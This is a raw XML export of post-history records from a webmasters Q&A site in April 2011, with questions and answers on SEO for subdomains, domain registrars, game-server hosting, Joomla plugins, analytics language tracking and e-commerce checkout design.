  <row Id="29675" PostHistoryTypeId="3" PostId="12930" RevisionGUID="ace9e141-6a66-4d17-893a-069ea57b3f55" CreationDate="2011-04-26T14:12:18.390" UserId="6033" Text="&lt;sitemap&gt;&lt;indexing&gt;" />
  <row Id="29676" PostHistoryTypeId="2" PostId="12931" RevisionGUID="8c9ee864-5c00-4861-92a1-59ed590841a5" CreationDate="2011-04-26T14:42:42.747" UserId="6825" Text="Email list &quot;cleaning&quot; is a very good practice that helps you to improve your email delivery rates and sender reputation. We highly recommend our customers to use 3rd party software to check their lists and to remove any invalid mail addresses prior to any mailouts. While you can try to clean your mailing list manually by deleting invalid format email addresses, previously bounced email addresses etc., professional services do this job better. [Email List Cleaning][1] is a service we recommend that other customers of [SMTP][2] have used and said was very effective.&#xD;&#xA;Relative to the service you mentioned, I'm not familiar with it, but you can try how it works and tell us the results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.emaillistcleaning.com/&#xD;&#xA;  [2]: http://www.smtp.com/" />
  <row Id="29677" PostHistoryTypeId="25" PostId="12930" RevisionGUID="524c9ed6-571a-4c9b-a0f4-ee02984e9130" CreationDate="2011-04-26T15:09:19.790" Comment="http://twitter.com/#!/StackWebmasters/status/62896043515326464" />
  <row Id="29678" PostHistoryTypeId="2" PostId="12932" RevisionGUID="6022bab1-1b3d-46ef-a80f-fda420e9c343" CreationDate="2011-04-26T15:34:25.217" UserId="7105" Text="I have a website that allows users to find/submit tips for doing specific fitness activities.  &#xD;&#xA;&#xD;&#xA;The site is structured as &quot;[activity].example.com&quot;&#xD;&#xA;&#xD;&#xA; - example.com&#xD;&#xA; - swimming.example.com&#xD;&#xA; - lifting.example.com&#xD;&#xA;&#xD;&#xA;Each subdomain is meant to be a (partially) closed-off community specific to that activity.  For example, the swimming subdomain is where all swimming tips are created and shared.  &#xD;&#xA;&#xD;&#xA;However, some tips appear on all of the subdomains (for example, a &quot;stretching&quot; tip would most likely appear on all activity pages).  The top tips may also be aggregated to the root domain.  This has been happening quite a bit, and I'm wondering what the SEO implications are.&#xD;&#xA;&#xD;&#xA;One example of a site that has a similar setup is reddit.  They have their site set up to 301-redirect &quot;[subreddit].reddit.com&quot; to &quot;reddit.com/r/[subreddit]&quot;.  Presumably this is for SEO purposes.&#xD;&#xA;&#xD;&#xA;Am I being hurt SEO-wise by having these subdomains? I.e. is Google seeing them as separate sites with duplicate content?  Should I structure the site more like reddit with the sub-directory structure instead?  &#xD;&#xA;&#xD;&#xA;I know questions related to this one have been answered, but those are more towards exact duplicate content.  &#xD;&#xA;&#xD;&#xA;Thank you in advance for your help." />
  <row Id="29679" PostHistoryTypeId="1" PostId="12932" RevisionGUID="6022bab1-1b3d-46ef-a80f-fda420e9c343" CreationDate="2011-04-26T15:34:25.217" UserId="7105" Text="SEO: Similar, but not duplicate, content across several subdomains" />
  <row Id="29680" PostHistoryTypeId="3" PostId="12932" RevisionGUID="6022bab1-1b3d-46ef-a80f-fda420e9c343" CreationDate="2011-04-26T15:34:25.217" UserId="7105" Text="&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="29681" PostHistoryTypeId="2" PostId="12933" RevisionGUID="d9a01d65-810e-4822-8acc-f0d3508adb67" CreationDate="2011-04-26T15:46:03.420" UserId="1253" Text="As far as Google is concerned [there is no difference between subdomains and subdirectories][1]. So they are definitely not seen as separate sites. Additionally, the concept of website is irrelevant as far as duplicate content goes as the original page, regardless of origin, is left in the search results while all others are filtered out (or so that is their goal).&#xD;&#xA;&#xD;&#xA;It's difficult to say with any authority or specificity exactly how much content must be duplicated for a page to be consider duplicate content and filtered out. Google has not offered any specific rules for how they determine this (for obvious reasons) and no one has done any kind of study that offers strong evidence towards what percentage of content must be duplicate or other factors contribute to the determination that content is duplicated.&#xD;&#xA;&#xD;&#xA;Obviously the more content on a page is duplicated the more likely it runs the risk of being filtered out as duplicate content. But since that same content is already on your website that's not a big deal. It will still be found on whatever pages Google decides is the original and list in its search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="29682" PostHistoryTypeId="2" PostId="12934" RevisionGUID="e0e90531-37ba-41ca-92e4-fec904789522" CreationDate="2011-04-26T15:46:30.043" UserId="6033" Text="For SEO you could gather the preferred version of the content into one place for each topic and use canonical tags to show where the preferred version of the content lives. With google's most recent algorithm update this month seemingly aimed at hurting content farms, it wouldn't hurt to only have one preferred version so you don't look like a content farm.&#xD;&#xA;&#xD;&#xA;Make sure to read this, it has good tips for your situation. I know you're saying it's similar not dupe, but still a good resource if you haven't read it: http://googlewebmastercentral.blogspot.com/2009/10/reunifying-duplicate-content-on-your.html" />
  <row Id="29683" PostHistoryTypeId="2" PostId="12935" RevisionGUID="59b658cd-b1c1-4b0a-9056-593d1da3a36d" CreationDate="2011-04-26T15:48:41.360" UserId="118" Text="I ended up using this nice php image resize lib/function and integrated it with the form myself:&#xD;&#xA;&#xD;&#xA;https://github.com/tchalvak/smart_resize_image" />
  <row Id="29684" PostHistoryTypeId="5" PostId="12933" RevisionGUID="d190ded6-7476-4166-9ddc-dd9faf3d33d8" CreationDate="2011-04-26T15:51:06.367" UserId="1253" Comment="added 300 characters in body" Text="As far as Google is concerned [there is no difference between subdomains and subdirectories][1]. So they are definitely not seen as separate sites. Additionally, the concept of website is irrelevant as far as duplicate content goes as the original page, regardless of origin, is left in the search results while all others are filtered out (or so that is their goal).&#xD;&#xA;&#xD;&#xA;It's difficult to say with any authority or specificity exactly how much content must be duplicated for a page to be consider duplicate content and filtered out. Google has not offered any specific rules for how they determine this (for obvious reasons) and no one has done any kind of study that offers strong evidence towards what percentage of content must be duplicate or other factors contribute to the determination that content is duplicated.&#xD;&#xA;&#xD;&#xA;Obviously the more content on a page is duplicated the more likely it runs the risk of being filtered out as duplicate content. But since that same content is already on your website that's not a big deal. It will still be found on whatever pages Google decides is the original and list in its search results. But if you want to do your best to prevent this from happening try to ensure that a certain percentage, let's say 50%, of your pages is unique and not this content that can be duplicated across pages. So basically try to avoid making entire pages out of this dynamic and possibly duplicated content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="29685" PostHistoryTypeId="2" PostId="12936" RevisionGUID="060b9b6a-9cc6-461d-9f7a-bffc9f573a7a" CreationDate="2011-04-26T16:44:44.670" UserId="4672" Text="If your friend is really serious about getting into web design then they should be prepared to learn some code: not programming, per se, but HTML/CSS markup.  You must understand forms especially. &#xD;&#xA;&#xD;&#xA;Sites I would recommend:&#xD;&#xA;http://tutsplus.com/&#xD;&#xA;http://membership.thinkvitamin.com/library/&#xD;&#xA;http://www.lynda.com/" />
  <row Id="29686" PostHistoryTypeId="5" PostId="12934" RevisionGUID="7e3abebd-5dac-459e-a763-0a70e221a32f" CreationDate="2011-04-26T17:32:34.687" UserId="6033" Comment="added 214 characters in body; added 5 characters in body; added 42 characters in body" Text="For SEO you could gather the preferred version of the content into one place for each topic and use the best strategy available (probably 301 redirects) to show where the preferred version of the content lives. Canonical tags *might* work (depending on the content similarities) in some cases, but there is no guarantee, you would have to test. With google's most recent algorithm update this month, seemingly aimed at hurting content farms, it wouldn't hurt to only have one preferred version, so you don't look like a content farm.&#xD;&#xA;&#xD;&#xA;Make sure to read this, it has good tips for your situation. I know you're saying it's similar not dupe, but still a good resource if you haven't read it: http://googlewebmastercentral.blogspot.com/2009/10/reunifying-duplicate-content-on-your.html&#xD;&#xA;&#xD;&#xA;**Editted**, updated answer about canonical tags based on comments from John Conde." />
  <row Id="29687" PostHistoryTypeId="25" PostId="12932" RevisionGUID="9f8eec9a-0cd0-4a9c-ad95-d9e531f143b6" CreationDate="2011-04-26T18:09:19.887" Comment="http://twitter.com/#!/StackWebmasters/status/62941341482627073" />
  <row Id="29688" PostHistoryTypeId="2" PostId="12937" RevisionGUID="073cf2fd-4e70-44a5-a13c-85ac85c4f4f3" CreationDate="2011-04-26T18:44:31.870" UserId="4132" Text="It's not always clear when people say &quot;move domains&quot; if they mean just domain registration or registration+hosting.  It sounds like you're only concerned with registration in which case I concur with S.gfx above (sorry not enough points to comment directly on S.gfx's answer)&#xD;&#xA;&#xD;&#xA;eNom or NameCheap...  &#xD;&#xA;&#xD;&#xA;If you're looking for registration+hosting then that's a different question...&#xD;&#xA;&#xD;&#xA;Side note: My long time strong dislike for GoDaddy recently turned to outright hatred and loathing.... so I too have cut all ties with them... and have grown very happy with eNom.  Transfers in/out, updates, etc...   take me 1/5th the time with eNom as they did with GD" />
  <row Id="29689" PostHistoryTypeId="2" PostId="12938" RevisionGUID="075c7c8b-436f-494f-8a60-0ac2b3eebd3a" CreationDate="2011-04-26T19:05:11.407" UserId="4011" Text="I personnaly use surpasshosting and surpassdomains, never had problem with them, their support is really fast and they often did more than what my contract was including.&#xD;&#xA;&#xD;&#xA;I also want to specify that I do not, and never did, work for those company, I am a totally satisfied customer." />
  <row Id="29690" PostHistoryTypeId="2" PostId="12939" RevisionGUID="5281e97d-68e8-4989-9dbe-7c02ffbbe266" CreationDate="2011-04-26T19:44:10.827" UserId="4132" Text="I'd like to search for all domain names administered by jon.doe@domain.com for example.  Are there any search tools out there that allow such a search?" />
  <row Id="29691" PostHistoryTypeId="1" PostId="12939" RevisionGUID="5281e97d-68e8-4989-9dbe-7c02ffbbe266" CreationDate="2011-04-26T19:44:10.827" UserId="4132" Text="How can I search DNS records by registrant or admin contact info, email address for example?" />
  <row Id="29692" PostHistoryTypeId="3" PostId="12939" RevisionGUID="5281e97d-68e8-4989-9dbe-7c02ffbbe266" CreationDate="2011-04-26T19:44:10.827" UserId="4132" Text="&lt;dns&gt;&lt;search&gt;" />
  <row Id="29693" PostHistoryTypeId="2" PostId="12940" RevisionGUID="c95cb78c-7257-4af5-be92-4e8e8f957f84" CreationDate="2011-04-26T20:05:20.647" UserId="2907" Text="I'd also recommend looking into UI/UX side of things w/ regards to the web or any online development. I know a lot of designers who came from a print background and found working within the confines of a website to be challenging for a while. B/c it's interactive, a lot of thought has to be given to the psychology of using the app, and not just making it look pretty.&#xD;&#xA;&#xD;&#xA;I liked &quot;Don't Make Me Think&quot; personally for a good overview of some of the concepts.&#xD;&#xA;&#xD;&#xA;D." />
  <row Id="29694" PostHistoryTypeId="2" PostId="12941" RevisionGUID="e762eb49-5678-46cd-be49-2b060a79b9bf" CreationDate="2011-04-26T20:19:43.670" UserId="7085" Text="An authentication plugin is what you need. It is not so difficult as it may seem. In the &quot;/plugins/authentication/&quot; folder of your Joomla site you already can see authentication methods available; &#xD;&#xA;&#xD;&#xA; - traditional Joomla (users in a database)&#xD;&#xA; - gmail&#xD;&#xA; - openid&#xD;&#xA; - ldap&#xD;&#xA;&#xD;&#xA;You can surely find on extensions site other auth plugins; or, if you have some PHP skill, you can build your own since all an authentication plugin has to return is success or failure." />
  <row Id="29695" PostHistoryTypeId="2" PostId="12942" RevisionGUID="ab61d047-f838-4124-b905-5890dc3dc18a" CreationDate="2011-04-26T20:21:21.400" UserId="4040" Text="I'm assuming that when Google Analytics tracks a visitor's language it uses the Accept-language header from the request (most browser/OS combinations seem to populate it automatically).&#xD;&#xA;&#xD;&#xA;My browser sends:&#xD;&#xA;&#xD;&#xA;    Accept-Language:en-US,en;q=0.8,en-GB;q=0.6,fr-CA;q=0.4,fr;q=0.2&#xD;&#xA;&#xD;&#xA;And yet I can't figure out how to get stats on what percentage of my visitors *can* speak a certain language even if it isn't their primary one (in my case I normally use English but I can use French).  Does any analytics program do this, or am I going to have to capture it in my logs and track it manually?&#xD;&#xA;" />
  <row Id="29696" PostHistoryTypeId="1" PostId="12942" RevisionGUID="ab61d047-f838-4124-b905-5890dc3dc18a" CreationDate="2011-04-26T20:21:21.400" UserId="4040" Text="Does Google Analytics track users with multiple languages?" />
  <row Id="29697" PostHistoryTypeId="3" PostId="12942" RevisionGUID="ab61d047-f838-4124-b905-5890dc3dc18a" CreationDate="2011-04-26T20:21:21.400" UserId="4040" Text="&lt;google-analytics&gt;&lt;multilingual&gt;" />
  <row Id="29698" PostHistoryTypeId="2" PostId="12943" RevisionGUID="e3202964-a052-4dcc-ab13-6515b02c12d9" CreationDate="2011-04-26T20:25:33.710" UserId="7085" Text="I'd also suggest Kunena forum as a good Joomla native extension. I can also confirm there are many, though, that prefer to run a different forum site on a non-Joomla platform, with a bridge for shared authentication." />
  <row Id="29699" PostHistoryTypeId="2" PostId="12944" RevisionGUID="e36f04fb-46ca-47e2-9891-ece5947fdf17" CreationDate="2011-04-26T20:26:06.670" UserId="6252" Text="You should also check out: http://www.verot.net/php_class_upload.htm&#xD;&#xA;&#xD;&#xA;I have been using that class for several months now and simply put, it's the best I have come across for my requirements." />
  <row Id="29700" PostHistoryTypeId="5" PostId="12859" RevisionGUID="2bb7ab41-5122-4a64-9260-40a7280b26c0" CreationDate="2011-04-26T20:51:11.307" UserId="6389" Comment="added 1346 characters in body" Text="&gt; Q. What is my best option here. I have&#xD;&#xA;&gt; no idea what kind of interface I will&#xD;&#xA;&gt; get if I purchase a windows hosting. I&#xD;&#xA;&gt; have only worked on Linux hostings,&#xD;&#xA;&gt; interacted using cpanel etc.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;A. You will need a dedicated server or VPS. most will come with a control panel but you may be able to get a &quot;vanila&quot; install. you will administer the server by remote desktop.&#xD;&#xA;&#xD;&#xA;&gt; Q. Is it possible to just purchase a&#xD;&#xA;&gt; windows hosting and then install games&#xD;&#xA;&gt; myself, do any authentication I want?&#xD;&#xA;&#xD;&#xA;A. Yes. with remote desktop you can install anything you want. As you will be administering the sever the support from your hosting company will likely only extend to doing a reinstall.  &#xD;&#xA;&#xD;&#xA;&gt; Q. Additionally, I am also looking&#xD;&#xA;&gt; some web space to host my personal&#xD;&#xA;&gt; projects...&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;A. If you take a server with a control panel you will be able to use it just as if it were traditional hosting. just make sure anything you do via RDP does not conflict with control panel operations. Having said that configuring IIS with no CP is not difficult.&#xD;&#xA;&#xD;&#xA;Your goal here is to run a server were people in India can get a consitantly low (&lt;100ms) ping for responsive game play. As few hops in the network route is also good as there are fewer places for problems and a smaller chance the route will be changed. Ideally a host based in India will peer traffic directly with the ISP of your users. If traffic is not peered directly it will be sent via a transit providers who will not always the fastest route, it will be the cheapest. Even a fast international route will add 100ms to your ping, you need a host in India. For web servers a low ping would only be one of many factors to consider which is why people have advised internationl hosts, but for gaming it's all that really matters. We can't be certain all India hosts peer with all Indian ISP's, they will certainly try to as they save transit costs by doing so but you really need to test the routes. There is a tool called mtr or winmtr (shows you everything pingtest.net would show + lots more) that combines ping and traceroute you need to get as many people as you can who might be using your server to run mtr against a prospective host. You will see the average ping response at the bottom and the name of each node the packet passes through. It's not an exact science and dont panic over one strange result, but looking at a few of these mtr reports will give you a good feel for how the traffic is routed and quality of the hosts network infrastructure.&#xD;&#xA;&#xD;&#xA;Check forums or ask current server admins for the specifications needed by COD, I dont run game server but from what I have seen a $60/month VPS should do it. I searched and found several VPS providers in India, get a rolling monthly contract so you can move quickly if needed do no sign for a year or longer. CPU resources on a VPS will be hard to gauge unless you try before you buy and may change as they add usrs to the node. Get as much ram in the VPS as you can afford. There is nothing specific for you to ask the host but do let them know your plans.&#xD;&#xA;&#xD;&#xA;Cloud hosting can work out to be expensive and is not a fixed cost, if you go down this route then check your calculaions, also his is unlikely to be hosted in India so you wont get the ping you need.&#xD;&#xA;&#xD;&#xA;If your game server application has no authentication built in then you could just use a firewall to control access add and removing ip's as needed. " />
  <row Id="29701" PostHistoryTypeId="25" PostId="12942" RevisionGUID="c5f5693d-416d-434c-8fc4-f6f9106eebe4" CreationDate="2011-04-26T21:09:19.677" Comment="http://twitter.com/#!/StackWebmasters/status/62986639609307137" />
  <row Id="29702" PostHistoryTypeId="2" PostId="12945" RevisionGUID="b9e5e690-aa2f-4b56-a675-69ec03bee1d3" CreationDate="2011-04-26T21:13:05.837" UserId="5883" Text="Whilst I expect most graphic designers will know the book already:&#xD;&#xA;&#xD;&#xA;&gt; Josef Müller-Brockmann.  Grid Systems&#xD;&#xA;&gt; in Graphic Design.  Niggli: 1996. ISBN&#xD;&#xA;&gt; 3721201450&#xD;&#xA;&#xD;&#xA;This is also a great resource for understanding and developing structured visual design for browser-based layout.&#xD;&#xA;&#xD;&#xA;For a great introduction (and more) on how to look at ways to present information:&#xD;&#xA;&#xD;&#xA;http://www.edwardtufte.com/tufte/books_ei&#xD;&#xA;&#xD;&#xA;And read as many of the wide range of books on the psychology of user-interface and experience design, including:&#xD;&#xA;&#xD;&#xA;http://www.useit.com/prioritizing/&#xD;&#xA;&#xD;&#xA;from Jakob Nielsen and Hoa Loranger.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29703" PostHistoryTypeId="2" PostId="12946" RevisionGUID="6b4a8665-f797-40ac-b92a-d256566815bb" CreationDate="2011-04-26T21:47:54.357" UserId="7111" Text="The business I work has a fairly long, 4 word name. The domain they've been using is the first letter of the first three words, and then the last word spelled out. For now we'll refer to it as &quot;The Ant Farm Society&quot; or &quot;TAFSociety.com&quot;.&#xD;&#xA;&#xD;&#xA;I've been SEO'ing their site and doing a good job at it, and I'll probably feel the affects of what I've done in a few weeks. However as of now, they don't show up on the first page of google for &quot;The Ant Farm Society&quot;. I recently found out that The-Ant-Farm-Society.com is available. Would it be beneficial or detrimental for me to use that domain? My thoughts were to use a nice design, put around 10 related articles on there, and have it ultimately link to their main site, &quot;TAFSociety.com&quot;.&#xD;&#xA;&#xD;&#xA;Is it wise to do this? Or should I just focus on bringing up their abbreviated domain name? Your thoughts are greatly appreciated. Thanks!" />
  <row Id="29704" PostHistoryTypeId="1" PostId="12946" RevisionGUID="6b4a8665-f797-40ac-b92a-d256566815bb" CreationDate="2011-04-26T21:47:54.357" UserId="7111" Text="The Domain Name we use for our business is an Acronym + One Word - Thoughts on registering a second domain to help direct traffic to us?" />
  <row Id="29705" PostHistoryTypeId="3" PostId="12946" RevisionGUID="6b4a8665-f797-40ac-b92a-d256566815bb" CreationDate="2011-04-26T21:47:54.357" UserId="7111" Text="&lt;seo&gt;&lt;google&gt;&lt;multiple-domains&gt;" />
  <row Id="29706" PostHistoryTypeId="2" PostId="12947" RevisionGUID="887c43d9-2a63-455d-970d-2df2b7b55d83" CreationDate="2011-04-26T21:52:26.753" UserId="7112" Text="Try any of these&#xD;&#xA;&#xD;&#xA;1. Check the domain expiry from who.is and try to grab when it drops.(unlikely to happen)&#xD;&#xA;&#xD;&#xA; Hint: Read this http://bit.ly/fgvCCX you will understand how it works.&#xD;&#xA;&#xD;&#xA;2. Check whether same domain name available on different TLD or gTLD like .net, .co, .in, .info.&#xD;&#xA;&#xD;&#xA;3. Put a backorder for the domain through pool.com see whether they can get you the domain.&#xD;&#xA;&#xD;&#xA;If a domain name is on auction then he/she definitely trying to make some money out of it. You really like that domain name and think you can earn profit from it then try negotiating with the person see whether you can afford the cost. See how many people are biding, current site traffic and domain appraisal value. If you don't see lot of bidding or no bidding so far then just wait patiently he will not renew it for long time. Good Luck :)&#xD;&#xA;" />
  <row Id="29707" PostHistoryTypeId="5" PostId="12947" RevisionGUID="1f52d0ae-5fbf-406f-b387-8269d13ebe90" CreationDate="2011-04-26T22:03:06.013" UserId="7112" Comment="edited body" Text="Try any of these&#xD;&#xA;&#xD;&#xA;1. Check the domain expiry from who.is and try to grab when it drops.(unlikely to happen)&#xD;&#xA;&#xD;&#xA; Hint: Read this http://bit.ly/3kUiH8 you will understand how it works.&#xD;&#xA;&#xD;&#xA;2. Check whether same domain name available on different TLD or gTLD like .net, .co, .in, .info.&#xD;&#xA;&#xD;&#xA;3. Put a backorder for the domain through pool.com see whether they can get you the domain.&#xD;&#xA;&#xD;&#xA;If a domain name is on auction then he/she definitely trying to make some money out of it. You really like that domain name and think you can earn profit from it then try negotiating with the person see whether you can afford the cost. See how many people are biding, current site traffic and domain appraisal value. If you don't see lot of bidding or no bidding so far then just wait patiently he will not renew it for long time. Good Luck :)&#xD;&#xA;" />
  <row Id="29708" PostHistoryTypeId="4" PostId="12946" RevisionGUID="07311d89-0ce1-4c1b-b998-44b09d5e76a3" CreationDate="2011-04-26T22:04:04.490" UserId="7111" Comment="edited title" Text="Getting a second domain to help direct traffic to my main domain?" />
  <row Id="29709" PostHistoryTypeId="2" PostId="12948" RevisionGUID="91e4fe1a-105c-4d8a-aa44-f3d5d7ad1fb2" CreationDate="2011-04-26T22:08:07.980" UserId="7111" Text="I've been using NameCheap.com for years. I love it and would recommend it to anybody. Coincidentally, I'd also recommend anybody to NOT use GoDaddy. For a number of reasons. Hope this helped." />
  <row Id="29710" PostHistoryTypeId="2" PostId="12949" RevisionGUID="be086c88-5548-42af-8b9a-924dc9fa6c85" CreationDate="2011-04-26T22:17:54.757" UserId="4461" Text="Having migrated a few CMS's before, the URLs are the biggest hurdles.&#xD;&#xA;&#xD;&#xA;Some other pain points are:&#xD;&#xA;&#xD;&#xA; 1. Ensuring content mapping and content layout (in the HTML) isn't radically different - normally achieved by ensuring the templates are the same.&#xD;&#xA; 2. Ensuring that meta data is correctly transferred - page titles, meta descriptions and other meta data - this may also include time-stamps for articles.&#xD;&#xA; 3. Ensuring categorisation and tags are mapped&#xD;&#xA; 4. Ensuring internal links remain in place across templates" />
  <row Id="29711" PostHistoryTypeId="2" PostId="12950" RevisionGUID="5245fc73-3e53-4a35-977e-4fe15d3c2a1a" CreationDate="2011-04-26T22:29:06.160" UserId="7112" Text="Yes, Websites like [http://www.domaintools.com][1] offer this type of Service. Where you can find the no.of domains associated to their email address. But its not a Free Service. And you should know atleast one domain owned by that person. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.domaintools.com/" />
  <row Id="29712" PostHistoryTypeId="2" PostId="12951" RevisionGUID="f9d0c8eb-c797-4fbd-ae48-ea013ccfd934" CreationDate="2011-04-26T22:39:27.630" UserId="4461" Text="Keywords in the domain - while helpful, aren't the be-all and end-all that a lot of people make out, in fact there's probably more examples of where it's not a factor than the opposite. Keyworded domains are also expected to come under closer scrutiny from Google in the near future ([as mentioned by Matt Cutts][1]).&#xD;&#xA;&#xD;&#xA;The solution you are proposing (setting up the keyword domain website) might sound good on the surface, but it does require that your new domain get authority in the eyes of the search engines *before* those links end up gaining any value - so you'd be better off putting effort into getting links to your main domain with the keywords &quot;Ant Farm Society&quot; in the first place (ye olde link building).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=rAWFv43qubI" />
  <row Id="29713" PostHistoryTypeId="2" PostId="12952" RevisionGUID="3892eb40-1d0c-4a2a-8652-e3936dc33e3b" CreationDate="2011-04-26T22:50:43.450" UserId="5727" Text="I've found out why during development of my new site.&#xD;&#xA;&#xD;&#xA;If gravatar fails, it can cause the page to constantly load, which annoyingly in IE seems to stop JS files that are after them in code from loading (they are waiting for the images to load).&#xD;&#xA;&#xD;&#xA;So if Gravatar is down, running slowly, then the site will suffer a lot." />
  <row Id="29714" PostHistoryTypeId="2" PostId="12953" RevisionGUID="9b2f2566-1d2d-424b-aed0-ff8214e6a569" CreationDate="2011-04-26T22:52:08.440" UserId="6101" Text="It seems most things were already mentioned by @*ollybee*.&#xD;&#xA;&#xD;&#xA;But I thought I would put my 2 cents in based on my experience. I used to manage dozen game servers in the past and with FPS, **latency is unfortunately a major issue**.&#xD;&#xA;&#xD;&#xA;I'm afraid @*Arjun Bajaj*'s suggestion to use **cloud hosting/CDNs is not really suitable in your case**. Hosting inside a cloud is good for reliability, scaling and the like, but not for things like gaming. What you want is **a dedicated server** (in the short term a *VPS* should suit you well too) that has a decent connection (from the perspective of your players) and enough hardware juice to support your game/player load combination.&#xD;&#xA;&#xD;&#xA;I don't know *CoD* specifics but for *Half-Life Dedicated Servers* we used a rough estimate of `20 MB` **of RAM** and `50 MHz` **of CPU speed per slot**. I doubt *CoD 1/2* is much more demanding.&#xD;&#xA;&#xD;&#xA;As long as you have enough processing power, **the game quality is strictly limited by the connection** between the server and the players.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Things you should look at are:**&#xD;&#xA;&#xD;&#xA; - raw latency (ping)&#xD;&#xA; - packet loss/reliability&#xD;&#xA; - variations in latency (ping spikes), routing issues etc.&#xD;&#xA;&#xD;&#xA;Basically what you want is a **strong server with enough uplink**. If it's a serious data center this shouldn't be an issue as long as you're not talking about thousands of concurrent players. Add to that **low ping** for all players involved **that doesn't fluctuate too much**. In fact a higher latency that is stable (**little to no jitter**) can provide a more seamless playing experience, so pure ping measurements may not be the best judge.&#xD;&#xA;&#xD;&#xA;Ping spikes and packet loss can strongly degrade your playing performance, so your best bet is testing the connection from multiple points at multiple times of day/week for a prolonged period (at least a couple of minutes). The bad thing is sometimes *ICMP* traffic (especially small packets) gets prioritized, so you may not be really seeing what your real world situation would look like.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I don't know the hosting market in India, so I won't help here. But I can tell you how it looks in Poland. For top grade servers we're talking about stable `&lt; 20 ms` *RTT* (raw ping) for *cross ISP* connections and `&lt; 10 ms` for operator network/peering through local exchanges. Cheaper servers hosted in Germany are around `40 ms`. For some games this makes no difference, for fast shooters most players complained about the cheaper servers performing sub-par. We used to host around 100+ slots at a dual Xeon/2 GB RAM setup, but it was getting a bit tough on resources when at full load.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;And the last thing - I think you can also look for *CoD* dedicated server for *Linux* if you're not comfortable with *Windows VPS*.&#xD;&#xA;&#xD;&#xA;If you have some more questions, I would be happy to share my experiences here. You have to know though that **looking for a good game server provider is mostly a matter of trial and error** as it's a very specific and demanding usage scenario." />
  <row Id="29719" PostHistoryTypeId="2" PostId="12955" RevisionGUID="060720d6-1a07-4518-b45a-df2d7f6adabc" CreationDate="2011-04-27T00:13:51.110" UserId="4488" Text="I know this answer's late by a few months, but just in case you're still looking or someone else finds this question...&#xD;&#xA;&#xD;&#xA;Check out [Inuvi][1] and please contact us if it looks like we can help.&#xD;&#xA;&#xD;&#xA;Here are some ways in which Inuvi differs from 4INFO:&#xD;&#xA;&#xD;&#xA; - We provide publishers (and mobile&#xD;&#xA;   operators) with an ad service only.&#xD;&#xA; - We don't offer the full SMS&#xD;&#xA;   publishing, delivery, and advertising&#xD;&#xA;   solution that 4INFO provides. &#xD;&#xA; - We operate globally. &#xD;&#xA; - We&#xD;&#xA;   have a low minimum spend for&#xD;&#xA;   advertisers. &#xD;&#xA; - We don't charge a set-up&#xD;&#xA;   or service fee to publishers and mobile operators.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://inuvi.com" />
  <row Id="29720" PostHistoryTypeId="2" PostId="12956" RevisionGUID="cc2101de-ab1c-4b8f-a5c8-569f1a4706dc" CreationDate="2011-04-27T00:41:08.497" UserId="4629" Text="I am currently working on the design for a product detail page with a few other people. The product is a piece of software that has an outright purchase component as well as a subscription plan associated with it. **There are a few options on the table for when to ask about the subscription component of the software purchase:**&#xD;&#xA;&#xD;&#xA; - **On the product page**: Show a list or a grid so that the user can add the software and the subscription all at once.&#xD;&#xA; - **Use an interstitial**: The user adds the software to the cart, then is prompted for a subscription plan choice on the next page.&#xD;&#xA; - **Ask in the cart**: The user adds the software to the cart. From the cart, they see a list of &quot;add-ons&quot; that represent the subscription plans that they can add to their purchase.&#xD;&#xA;&#xD;&#xA;**In discussing this, two viewpoints have arisen**:&#xD;&#xA;&#xD;&#xA; - We should start out by simply enticing them to add the product to the cart and ask about subscription plans on a separate page. In the back of their minds, the users know a subscription choice is coming as it's a required component for the software. **Asking for everything up-front may decrease the chance that the user will actually add the product to the cart**, and we're not hiding anything from the user since they know a subscription is required.&#xD;&#xA; - **Asking for everything up-front reduces the number of clicks the user has to make to purchase the product and subscription and makes the overall experience more user-friendly.** Since users are aware of the subscription aspect of the product by the time they reach the product page, we won't have a lot of people who get to the page, see the subscription options, then decide not to add the product to the cart because we ask for both at once.&#xD;&#xA;&#xD;&#xA;One solution would be to implement an A/B test of the workflow, see which one performs better, then stick with that as the final workflow. This will likely be what we end up doing. However, my thinking is that we can't be the only group who has wondered this before. I know that extensive analysis has been done on eCommerce site design, but I am having issues finding results of previous A/B tests related to when to ask for subscriptions. **Any insight on what has worked best in previous tests of the timing of prompting for a subscription decision during a retail purchase would be very much appreciated.**" />
  <row Id="29721" PostHistoryTypeId="1" PostId="12956" RevisionGUID="cc2101de-ab1c-4b8f-a5c8-569f1a4706dc" CreationDate="2011-04-27T00:41:08.497" UserId="4629" Text="When should I ask a purchaser about subscription plans related to a retail product?" />
  <row Id="29722" PostHistoryTypeId="3" PostId="12956" RevisionGUID="cc2101de-ab1c-4b8f-a5c8-569f1a4706dc" CreationDate="2011-04-27T00:41:08.497" UserId="4629" Text="&lt;website-design&gt;&lt;ecommerce&gt;" />
  <row Id="29724" PostHistoryTypeId="17" PostId="12959" RevisionGUID="41b0e6c0-bd2e-485d-8298-4246e5271d0a" CreationDate="2011-04-27T02:05:44.873" UserId="-1" Comment="from http://stackoverflow.com/questions/5796138/will-linking-individual-words-within-my-content-help-or-hinder-my-seo-ranking/5796222#5796222" Text="" />
